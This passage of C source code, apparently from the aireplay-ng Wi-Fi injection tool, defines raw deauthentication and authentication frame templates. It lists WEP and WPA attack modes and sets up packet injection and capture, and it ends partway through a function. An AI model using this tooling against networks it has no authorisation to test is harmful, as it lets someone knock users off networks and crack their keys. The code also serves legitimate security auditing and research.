/*
 *  802.11 WEP replay & injection attacks
 *
 *  Copyright (C) 2006-2010 Thomas d'Otreppe
 *  Copyright (C) 2004, 2005 Christophe Devine
 *
 *  WEP decryption attack (chopchop) developed by KoreK
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 *
 *  In addition, as a special exception, the copyright holders give
 *  permission to link the code of portions of this program with the
 *  OpenSSL library under certain conditions as described in each
 *  individual source file, and distribute linked combinations
 *  including the two.
 *  You must obey the GNU General Public License in all respects
 *  for all of the code used other than OpenSSL. *  If you modify
 *  file(s) with this exception, you may extend this exception to your
 *  version of the file(s), but you are not obligated to do so. *  If you
 *  do not wish to do so, delete this exception statement from your
 *  version. *  If you delete this exception statement from all source
 *  files in the program, then also delete it here.
 */

#if defined(linux)
    #include <linux/rtc.h>
#endif

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/time.h>

#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <dirent.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <time.h>
#include <getopt.h>

#include <fcntl.h>
#include <ctype.h>

#include <limits.h>

#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

#include "version.h"
#include "pcap.h"
#include "osdep/osdep.h"
#include "crypto.h"
#include "common.h"

#define RTC_RESOLUTION  8192

#define REQUESTS    30
#define MAX_APS     20

#define NEW_IV  1
#define RETRY   2
#define ABORT   3

#define DEAUTH_REQ      \
    "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \
    "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"

#define AUTH_REQ        \
    "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
    "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"

#define ASSOC_REQ       \
    "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
    "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"

#define REASSOC_REQ       \
    "\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
    "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00"

#define NULL_DATA       \
    "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
    "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"

#define RTS             \
    "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"

#define RATES           \
    "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"

#define PROBE_REQ       \
    "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"  \
    "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"

#define RATE_NUM 12

#define RATE_1M 1000000
#define RATE_2M 2000000
#define RATE_5_5M 5500000
#define RATE_11M 11000000

#define RATE_6M 6000000
#define RATE_9M 9000000
#define RATE_12M 12000000
#define RATE_18M 18000000
#define RATE_24M 24000000
#define RATE_36M 36000000
#define RATE_48M 48000000
#define RATE_54M 54000000

int bitrates[RATE_NUM]={RATE_1M, RATE_2M, RATE_5_5M, RATE_6M, RATE_9M, RATE_11M, RATE_12M, RATE_18M, RATE_24M, RATE_36M, RATE_48M, RATE_54M};

extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);
extern int maccmp(unsigned char *mac1, unsigned char *mac2);
extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac);
extern int check_crc_buf( unsigned char *buf, int len );
extern const unsigned long int crc_tbl[256];
extern const unsigned char crc_chop_tbl[256][4];

char usage[] =

"\n"
"  %s - (C) 2006-2010 Thomas d\'Otreppe\n"
"  Original work: Christophe Devine\n"
"  http://www.aircrack-ng.org\n"
"\n"
"  usage: aireplay-ng <options> <replay interface>\n"
"\n"
"  Filter options:\n"
"\n"
"      -b bssid  : MAC address, Access Point\n"
"      -d dmac   : MAC address, Destination\n"
"      -s smac   : MAC address, Source\n"
"      -m len    : minimum packet length\n"
"      -n len    : maximum packet length\n"
"      -u type   : frame control, type    field\n"
"      -v subt   : frame control, subtype field\n"
"      -t tods   : frame control, To      DS bit\n"
"      -f fromds : frame control, From    DS bit\n"
"      -w iswep  : frame control, WEP     bit\n"
"      -D        : disable AP detection\n"
"\n"
"  Replay options:\n"
"\n"
"      -x nbpps  : number of packets per second\n"
"      -p fctrl  : set frame control word (hex)\n"
"      -a bssid  : set Access Point MAC address\n"
"      -c dmac   : set Destination  MAC address\n"
"      -h smac   : set Source       MAC address\n"
"      -g value  : change ring buffer size (default: 8)\n"
"      -F        : choose first matching packet\n"
"\n"
"      Fakeauth attack options:\n"
"\n"
"      -e essid  : set target AP SSID\n"
"      -o npckts : number of packets per burst (0=auto, default: 1)\n"
"      -q sec    : seconds between keep-alives\n"
"      -Q        : send reassociation requests\n"
"      -y prga   : keystream for shared key auth\n"
"      -T n      : exit after retry fake auth request n time\n"
"\n"
"      Arp Replay attack options:\n"
"\n"
"      -j        : inject FromDS packets\n"
"\n"
"      Fragmentation attack options:\n"
"\n"
"      -k IP     : set destination IP in fragments\n"
"      -l IP     : set source IP in fragments\n"
"\n"
"      Test attack options:\n"
"\n"
"      -B        : activates the bitrate test\n"
"\n"
/*
"  WIDS evasion options:\n"
"      -y value  : Use packets older than n packets\n"
"      -z        : Ghosting\n"
"\n"
*/
"  Source options:\n"
"\n"
"      -i iface  : capture packets from this interface\n"
"      -r file   : extract packets from this pcap file\n"
"\n"
"  Miscellaneous options:\n"
"\n"
"      -R                    : disable /dev/rtc usage\n"
"      --ignore-negative-one : if the interface's channel can't be determined,\n"
"                              ignore the mismatch, needed for unpatched cfg80211\n"
"\n"
"  Attack modes (numbers can still be used):\n"
"\n"
"      --deauth      count : deauthenticate 1 or all stations (-0)\n"
"      --fakeauth    delay : fake authentication with AP (-1)\n"
"      --interactive       : interactive frame selection (-2)\n"
"      --arpreplay         : standard ARP-request replay (-3)\n"
"      --chopchop          : decrypt/chopchop WEP packet (-4)\n"
"      --fragment          : generates valid keystream   (-5)\n"
"      --caffe-latte       : query a client for new IVs  (-6)\n"
"      --cfrag             : fragments against a client  (-7)\n"
"      --migmode           : attacks WPA migration mode  (-8)\n"
"      --test              : tests injection and quality (-9)\n"
"\n"
"      --help              : Displays this usage screen\n"
"\n";


struct options
{
    unsigned char f_bssid[6];
    unsigned char f_dmac[6];
    unsigned char f_smac[6];
    int f_minlen;
    int f_maxlen;
    int f_type;
    int f_subtype;
    int f_tods;
    int f_fromds;
    int f_iswep;

    int r_nbpps;
    int r_fctrl;
    unsigned char r_bssid[6];
    unsigned char r_dmac[6];
    unsigned char r_smac[6];
    unsigned char r_dip[4];
    unsigned char r_sip[4];
    char r_essid[33];
    int r_fromdsinj;
    char r_smac_set;

    char ip_out[16];    //16 for 15 chars + \x00
    char ip_in[16];
    int port_out;
    int port_in;

    char *iface_out;
    char *s_face;
    char *s_file;
    uchar *prga;

    int a_mode;
    int a_count;
    int a_delay;
	int f_retry;

    int ringbuffer;
    int ghost;
    int prgalen;

    int delay;
    int npackets;

    int fast;
    int bittest;

    int nodetect;
    int ignore_negative_one;
    int rtc;

    int reassoc;
}
opt;

struct devices
{
    int fd_in,  arptype_in;
    int fd_out, arptype_out;
    int fd_rtc;

    unsigned char mac_in[6];
    unsigned char mac_out[6];

    int is_wlanng;
    int is_hostap;
    int is_madwifi;
    int is_madwifing;
    int is_bcm43xx;

    FILE *f_cap_in;

    struct pcap_file_header pfh_in;
}
dev;

static struct wif *_wi_in, *_wi_out;

struct ARP_req
{
    unsigned char *buf;
    int hdrlen;
    int len;
};

struct APt
{
    unsigned char set;
    unsigned char found;
    unsigned char len;
    unsigned char essid[255];
    unsigned char bssid[6];
    unsigned char chan;
    unsigned int  ping[REQUESTS];
    int  pwr[REQUESTS];
};

struct APt ap[MAX_APS];

unsigned long nb_pkt_sent;
unsigned char h80211[4096];
unsigned char tmpbuf[4096];
unsigned char srcbuf[4096];
char strbuf[512];

uchar ska_auth1[]     = "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00";

uchar ska_auth3[4096] = "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\xc0\x01";


int ctrl_c, alarmed;

char * iwpriv;


void sighandler( int signum )
{
    if( signum == SIGINT )
        ctrl_c++;

    if( signum == SIGALRM )
        alarmed++;
}

int reset_ifaces()
{
    //close interfaces
    if(_wi_in != _wi_out)
    {
        if(_wi_in)
        {
            wi_close(_wi_in);
            _wi_in = NULL;
        }
        if(_wi_out)
        {
            wi_close(_wi_out);
            _wi_out = NULL;
        }
    }
    else
    {
        if(_wi_out)
        {
            wi_close(_wi_out);
            _wi_out = NULL;
            _wi_in = NULL;
        }
    }

    /* open the replay interface */
    _wi_out = wi_open(opt.iface_out);
    if (!_wi_out)
        return 1;
    dev.fd_out = wi_fd(_wi_out);

    /* open the packet source */
    if( opt.s_face != NULL )
    {
        _wi_in = wi_open(opt.s_face);
        if (!_wi_in)
            return 1;
        dev.fd_in = wi_fd(_wi_in);
        wi_get_mac(_wi_in, dev.mac_in);
    }
    else
    {
        _wi_in = _wi_out;
        dev.fd_in = dev.fd_out;

        /* XXX */
        dev.arptype_in = dev.arptype_out;
        wi_get_mac(_wi_in, dev.mac_in);
    }

    wi_get_mac(_wi_out, dev.mac_out);

    return 0;
}

int set_bitrate(struct wif *wi, int rate)
{
    int i, newrate;

    if( wi_set_rate(wi, rate) )
        return 1;

//    if( reset_ifaces() )
//        return 1;

    //Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M instead
    if (rate == 5500000 && wi_get_rate(wi) != 5500000) {
	if( wi_set_rate(wi, 5000000) )
	    return 1;
    }

    newrate = wi_get_rate(wi);
    for(i=0; i<RATE_NUM; i++)
    {
        if(bitrates[i] == rate)
            break;
    }
    if(i==RATE_NUM)
        i=-1;
    if( newrate != rate )
    {
        if(i!=-1)
        {
            if( i>0 )
            {
                if(bitrates[i-1] >= newrate)
                {
                    printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0));
                    return 1;
                }
            }
            if( i<RATE_NUM-1 )
            {
                if(bitrates[i+1] <= newrate)
                {
                    printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0));
                    return 1;
                }
            }
            return 0;
        }
        printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0));
        return 1;
    }
    return 0;
}

int send_packet(void *buf, size_t count)
{
	struct wif *wi = _wi_out; /* XXX globals suck */
	unsigned char *pkt = (unsigned char*) buf;

	if( (count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0)
	{
		pkt[22] = (nb_pkt_sent & 0x0000000F) << 4;
		pkt[23] = (nb_pkt_sent & 0x00000FF0) >> 4;
	}

	if (wi_write(wi, buf, count, NULL) == -1) {
		switch (errno) {
		case EAGAIN:
		case ENOBUFS:
			usleep(10000);
			return 0; /* XXX not sure I like this... -sorbo */
		}

		perror("wi_write()");
		return -1;
	}

	nb_pkt_sent++;
	return 0;
}

int read_packet(void *buf, size_t count, struct rx_info *ri)
{
	struct wif *wi = _wi_in; /* XXX */
	int rc;

        rc = wi_read(wi, buf, count, ri);
        if (rc == -1) {
            switch (errno) {
            case EAGAIN:
                    return 0;
            }

            perror("wi_read()");
            return -1;
        }

	return rc;
}

void read_sleep( int usec )
{
    struct timeval tv, tv2, tv3;
    int caplen;
    fd_set rfds;

    gettimeofday(&tv, NULL);
    gettimeofday(&tv2, NULL);

    tv3.tv_sec=0;
    tv3.tv_usec=10000;

    while( ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) < (usec) )
    {
        FD_ZERO( &rfds );
        FD_SET( dev.fd_in, &rfds );

        if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv3 ) < 0 )
        {
            continue;
        }

        if( FD_ISSET( dev.fd_in, &rfds ) )
            caplen = read_packet( h80211, sizeof( h80211 ), NULL );

        gettimeofday(&tv2, NULL);
    }
}


int filter_packet( unsigned char *h80211, int caplen )
{
    int z, mi_b, mi_s, mi_d, ext=0, qos;

    if(caplen <= 0)
        return( 1 );

    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
    if ( ( h80211[0] & 0x80 ) == 0x80 )
    {
        qos = 1; /* 802.11e QoS */
        z+=2;
    }

    if( (h80211[0] & 0x0C) == 0x08)    //if data packet
        ext = z-24; //how many bytes longer than default ieee80211 header

    /* check length */
    if( caplen-ext < opt.f_minlen ||
        caplen-ext > opt.f_maxlen ) return( 1 );

    /* check the frame control bytes */

    if( ( h80211[0] & 0x0C ) != ( opt.f_type    << 2 ) &&
        opt.f_type    >= 0 ) return( 1 );

    if( ( h80211[0] & 0x70 ) != (( opt.f_subtype << 4 ) & 0x70) && //ignore the leading bit (QoS)
        opt.f_subtype >= 0 ) return( 1 );

    if( ( h80211[1] & 0x01 ) != ( opt.f_tods         ) &&
        opt.f_tods    >= 0 ) return( 1 );

    if( ( h80211[1] & 0x02 ) != ( opt.f_fromds  << 1 ) &&
        opt.f_fromds  >= 0 ) return( 1 );

    if( ( h80211[1] & 0x40 ) != ( opt.f_iswep   << 6 ) &&
        opt.f_iswep   >= 0 ) return( 1 );

    /* check the extended IV (TKIP) flag */

    if( opt.f_type == 2 && opt.f_iswep == 1 &&
        ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 );

    /* MAC address checking */

    switch( h80211[1] & 3 )
    {
        case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
        case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
        case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
        default: mi_b = 10; mi_d = 16; mi_s = 24; break;
    }

    if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 )
        if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 )
            return( 1 );

    if( memcmp( opt.f_smac,  NULL_MAC, 6 ) != 0 )
        if( memcmp( h80211 + mi_s,  opt.f_smac,  6 ) != 0 )
            return( 1 );

    if( memcmp( opt.f_dmac,  NULL_MAC, 6 ) != 0 )
        if( memcmp( h80211 + mi_d,  opt.f_dmac,  6 ) != 0 )
            return( 1 );

    /* this one looks good */

    return( 0 );
}

int wait_for_beacon(uchar *bssid, uchar *capa, char *essid)
{
    int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0;
    uchar pkt_sniff[4096];
    struct timeval tv,tv2;
    char essid2[33];

    gettimeofday(&tv, NULL);
    while (1)
    {
        len = 0;
        while (len < 22)
        {
            len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL);

            gettimeofday(&tv2, NULL);
            if(((tv2.tv_sec-tv.tv_sec)*1000000) + (tv2.tv_usec-tv.tv_usec) > 10000*1000) //wait 10sec for beacon frame
            {
                return -1;
            }
            if(len <= 0) usleep(1);
        }
        if (! memcmp(pkt_sniff, "\x80", 1))
        {
            pos = 0;
            taglen = 22;    //initial value to get the fixed tags parsing started
            taglen+= 12;    //skip fixed tags in frames
            do
            {
                pos    += taglen + 2;
                tagtype = pkt_sniff[pos];
                taglen  = pkt_sniff[pos+1];
            } while(tagtype != 3 && pos < len-2);

            if(tagtype != 3) continue;
            if(taglen != 1) continue;
            if(pos+2+taglen > len) continue;

            chan = pkt_sniff[pos+2];

            if(essid)
            {
                pos = 0;
                taglen = 22;    //initial value to get the fixed tags parsing started
                taglen+= 12;    //skip fixed tags in frames
                do
                {
                    pos    += taglen + 2;
                    tagtype = pkt_sniff[pos];
                    taglen  = pkt_sniff[pos+1];
                } while(tagtype != 0 && pos < len-2);

                if(tagtype != 0) continue;
                if(taglen <= 1)
                {
                    if (memcmp(bssid, pkt_sniff+10, 6) == 0) break;
                    else continue;
                }
                if(pos+2+taglen > len) continue;

                if(taglen > 32)taglen = 32;

                if((pkt_sniff+pos+2)[0] < 32 && memcmp(bssid, pkt_sniff+10, 6) == 0)
                {
                    break;
                }

                /* if bssid is given, copy essid */
                if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) == 0)
                {
                    memset(essid, 0, 33);
                    memcpy(essid, pkt_sniff+pos+2, taglen);
                    break;
                }

                /* if essid is given, copy bssid AND essid, so we can handle case insensitive arguments */
                if(bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0 && strncasecmp(essid, (char*)pkt_sniff+pos+2, taglen) == 0 && strlen(essid) == (unsigned)taglen)
                {
                    memset(essid, 0, 33);
                    memcpy(essid, pkt_sniff+pos+2, taglen);
                    memcpy(bssid, pkt_sniff+10, 6);
                    printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to given ESSID \"%s\".\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], essid);
                    break;
                }

                /* if essid and bssid are given, check both */
                if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) > 0)
                {
                    memset(essid2, 0, 33);
                    memcpy(essid2, pkt_sniff+pos+2, taglen);
                    if(strncasecmp(essid, essid2, taglen) == 0 && strlen(essid) == (unsigned)taglen)
                        break;
                    else
                    {
                        printf("For the given BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\", there is an ESSID mismatch!\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
                        printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n", essid2, essid);
                        printf("Using the given one, double check it to be sure its correct!\n");
                        break;
                    }
                }
            }
        }
    }

    if(capa) memcpy(capa, pkt_sniff+34, 2);

    return chan;
}

/**
    if bssid != NULL its looking for a beacon frame
*/
int attack_check(uchar* bssid, char* essid, uchar* capa, struct wif *wi)
{
    int ap_chan=0, iface_chan=0;

    iface_chan = wi_get_channel(wi);

    if(iface_chan == -1 && !opt.ignore_negative_one)
    {
        PCT; printf("Couldn't determine current channel for %s, you should either force the operation with --ignore-negative-one or apply a kernel patch\n",
                wi_get_ifname(wi));
        return -1;
    }

    if(bssid != NULL)
    {
        ap_chan = wait_for_beacon(bssid, capa, essid);
        if(ap_chan < 0)
        {
            PCT; printf("No such BSSID available.\n");
            return -1;
        }
        if((ap_chan != iface_chan) && (iface_chan != -1 || !opt.ignore_negative_one))
        {
            PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan);
            return -1;
        }
    }

    return 0;
}

int getnet( uchar* capa, int filter, int force)
{
    unsigned char *bssid;

    if(opt.nodetect)
        return 0;

    if(filter)
        bssid = opt.f_bssid;
    else
        bssid = opt.r_bssid;


    if( memcmp(bssid, NULL_MAC, 6) )
    {
        PCT; printf("Waiting for beacon frame (BSSID: %02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
                    bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5],wi_get_channel(_wi_in));
    }
    else if(strlen(opt.r_essid) > 0)
    {
        PCT; printf("Waiting for beacon frame (ESSID: %s) on channel %d\n", opt.r_essid,wi_get_channel(_wi_in));
    }
    else if(force)
    {
        PCT;
        if(filter)
        {
            printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n");
        }
        else
        {
            printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n");
        }
        return( 1 );
    }
    else
        return 0;

    if( attack_check(bssid, opt.r_essid, capa, _wi_in) != 0)
    {
        if(memcmp(bssid, NULL_MAC, 6))
        {
            if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32)
            {
                printf( "Please specify an ESSID (-e).\n" );
            }
        }

        if(!memcmp(bssid, NULL_MAC, 6))
        {
            if(strlen(opt.r_essid) > 0)
            {
                printf( "Please specify a BSSID (-a).\n" );
            }
        }
        return( 1 );
    }

    return 0;
}

int xor_keystream(uchar *ph80211, uchar *keystream, int len)
{
    int i=0;

    for (i=0; i<len; i++) {
        ph80211[i] = ph80211[i] ^ keystream[i];
    }

    return 0;
}

int capture_ask_packet( int *caplen, int just_grab )
{
    time_t tr;
    struct timeval tv;
    struct tm *lt;

    fd_set rfds;
    long nb_pkt_read;
    int i, j, n, mi_b=0, mi_s=0, mi_d=0, mi_t=0, mi_r=0, is_wds=0, key_index_offset;
    int ret, z;

    FILE *f_cap_out;
    struct pcap_file_header pfh_out;
    struct pcap_pkthdr pkh;

    if( opt.f_minlen  < 0 ) opt.f_minlen  =   40;
    if( opt.f_maxlen  < 0 ) opt.f_maxlen  = 1500;
    if( opt.f_type    < 0 ) opt.f_type    =    2;
    if( opt.f_subtype < 0 ) opt.f_subtype =    0;
    if( opt.f_iswep   < 0 ) opt.f_iswep   =    1;

    tr = time( NULL );

    nb_pkt_read = 0;

    signal( SIGINT, SIG_DFL );

    while( 1 )
    {
        if( time( NULL ) - tr > 0 )
        {
            tr = time( NULL );
            printf( "\rRead %ld packets...\r", nb_pkt_read );
            fflush( stdout );
        }

        if( opt.s_file == NULL )
        {
            FD_ZERO( &rfds );
            FD_SET( dev.fd_in, &rfds );

            tv.tv_sec  = 1;
            tv.tv_usec = 0;

            if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 )
            {
                if( errno == EINTR ) continue;
                perror( "select failed" );
                return( 1 );
            }

            if( ! FD_ISSET( dev.fd_in, &rfds ) )
                continue;

            gettimeofday( &tv, NULL );

            *caplen = read_packet( h80211, sizeof( h80211 ), NULL );

            if( *caplen  < 0 ) return( 1 );
            if( *caplen == 0 ) continue;
        }
        else
        {
            /* there are no hidden backdoors in this source code */

            n = sizeof( pkh );

            if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
            {
                printf( "\r\33[KEnd of file.\n" );
                return( 1 );
            }

            if( dev.pfh_in.magic == TCPDUMP_CIGAM ) {
                SWAP32( pkh.caplen );
                SWAP32( pkh.len );
            }

            tv.tv_sec  = pkh.tv_sec;
            tv.tv_usec = pkh.tv_usec;

            n = *caplen = pkh.caplen;

            if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) )
            {
                printf( "\r\33[KInvalid packet length %d.\n", n );
                return( 1 );
            }

            if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
            {
                printf( "\r\33[KEnd of file.\n" );
                return( 1 );
            }

            if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
            {
                /* remove the prism header */

                if( h80211[7] == 0x40 )
                    n = 64;
                else
                    n = *(int *)( h80211 + 4 );

                if( n < 8 || n >= (int) *caplen )
                    continue;

                memcpy( tmpbuf, h80211, *caplen );
                *caplen -= n;
                memcpy( h80211, tmpbuf + n, *caplen );
            }

            if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
            {
                /* remove the radiotap header */

                n = *(unsigned short *)( h80211 + 2 );

                if( n <= 0 || n >= (int) *caplen )
                    continue;

                memcpy( tmpbuf, h80211, *caplen );
                *caplen -= n;
                memcpy( h80211, tmpbuf + n, *caplen );
            }

            if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
            {
                /* remove the PPI header */

                n = le16_to_cpu(*(unsigned short *)( h80211 + 2));

                if( n <= 0 || n>= (int) *caplen )
                    continue;

                /* for a while Kismet logged broken PPI headers */
                if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
                    n = 32;

                if( n <= 0 || n>= (int) *caplen )
                    continue;

                memcpy( tmpbuf, h80211, *caplen );
                *caplen -= n;
                memcpy( h80211, tmpbuf + n, *caplen );
            }
        }

        nb_pkt_read++;

        if( filter_packet( h80211, *caplen ) != 0 )
            continue;

        if(opt.fast)
            break;

        z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
        if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
            z+=2;

        switch( h80211[1] & 3 )
        {
            case  0: mi_b = 16; mi_s = 10; mi_d =  4; is_wds = 0; break;
            case  1: mi_b =  4; mi_s = 10; mi_d = 16; is_wds = 0; break;
            case  2: mi_b = 10; mi_s = 16; mi_d =  4; is_wds = 0; break;
            case  3: mi_t = 10; mi_r =  4; mi_d = 16; mi_s = 24; is_wds = 1; break;  // WDS packet
        }

        printf( "\n\n        Size: %d, FromDS: %d, ToDS: %d",
                *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) );

        if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 )
        {
//             if (is_wds) key_index_offset = 33; // WDS packets have an additional MAC, so the key index is at byte 33
//             else key_index_offset = 27;
            key_index_offset = z+3;

            if( ( h80211[key_index_offset] & 0x20 ) == 0 )
                printf( " (WEP)" );
            else
                printf( " (WPA)" );
        }

        printf( "\n\n" );

        if (is_wds) {
            printf( "        Transmitter  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
                    h80211[mi_t    ], h80211[mi_t + 1],
                    h80211[mi_t + 2], h80211[mi_t + 3],
                    h80211[mi_t + 4], h80211[mi_t + 5] );

            printf( "           Receiver  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
                    h80211[mi_r    ], h80211[mi_r + 1],
                    h80211[mi_r + 2], h80211[mi_r + 3],
                    h80211[mi_r + 4], h80211[mi_r + 5] );
        } else {
            printf( "              BSSID  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
                    h80211[mi_b    ], h80211[mi_b + 1],
                    h80211[mi_b + 2], h80211[mi_b + 3],
                    h80211[mi_b + 4], h80211[mi_b + 5] );
        }

        printf( "          Dest. MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
                h80211[mi_d    ], h80211[mi_d + 1],
                h80211[mi_d + 2], h80211[mi_d + 3],
                h80211[mi_d + 4], h80211[mi_d + 5] );

        printf( "         Source MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
                h80211[mi_s    ], h80211[mi_s + 1],
                h80211[mi_s + 2], h80211[mi_s + 3],
                h80211[mi_s + 4], h80211[mi_s + 5] );

        /* print a hex dump of the packet */

        for( i = 0; i < *caplen; i++ )
        {
            if( ( i & 15 ) == 0 )
            {
                if( i == 224 )
                {
                    printf( "\n        --- CUT ---" );
                    break;
                }

                printf( "\n        0x%04x:  ", i );
            }

            printf( "%02x", h80211[i] );

            if( ( i & 1 ) != 0 )
                printf( " " );

            if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 )
            {
                for( j = ( ( i + 1 ) & 15 ); j < 16; j++ )
                {
                    printf( "  " );
                    if( ( j & 1 ) != 0 )
                        printf( " " );
                }

                printf( " " );

                for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ )
                    printf( "%c", ( h80211[i - 15 + j] <  32 ||
                                    h80211[i - 15 + j] > 126 )
                                  ? '.' : h80211[i - 15 + j] );
            }

            if( i > 0 && ( ( i + 1 ) & 15 ) == 0 )
            {
                printf( " " );

                for( j = 0; j < 16; j++ )
                    printf( "%c", ( h80211[i - 15 + j] <  32 ||
                                    h80211[i - 15 + j] > 127 )
                                  ? '.' : h80211[i - 15 + j] );
            }
        }

        printf( "\n\nUse this packet ? " );
        fflush( stdout );
        ret=0;
        while(!ret) ret = scanf( "%s", tmpbuf );
        printf( "\n" );

        if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' )
            break;
    }

    if(!just_grab)
    {
        pfh_out.magic         = TCPDUMP_MAGIC;
        pfh_out.version_major = PCAP_VERSION_MAJOR;
        pfh_out.version_minor = PCAP_VERSION_MINOR;
        pfh_out.thiszone      = 0;
        pfh_out.sigfigs       = 0;
        pfh_out.snaplen       = 65535;
        pfh_out.linktype      = LINKTYPE_IEEE802_11;

        lt = localtime( (const time_t *) &tv.tv_sec );

        memset( strbuf, 0, sizeof( strbuf ) );
        snprintf( strbuf,  sizeof( strbuf ) - 1,
                "replay_src-%02d%02d-%02d%02d%02d.cap",
                lt->tm_mon + 1, lt->tm_mday,
                lt->tm_hour, lt->tm_min, lt->tm_sec );

        printf( "Saving chosen packet in %s\n", strbuf );

        if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
        {
            perror( "fopen failed" );
            return( 1 );
        }

        n = sizeof( struct pcap_file_header );

        if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
        {
        	fclose(f_cap_out);
            perror( "fwrite failed\n" );
            return( 1 );
        }

        pkh.tv_sec  = tv.tv_sec;
        pkh.tv_usec = tv.tv_usec;
        pkh.caplen  = *caplen;
        pkh.len     = *caplen;

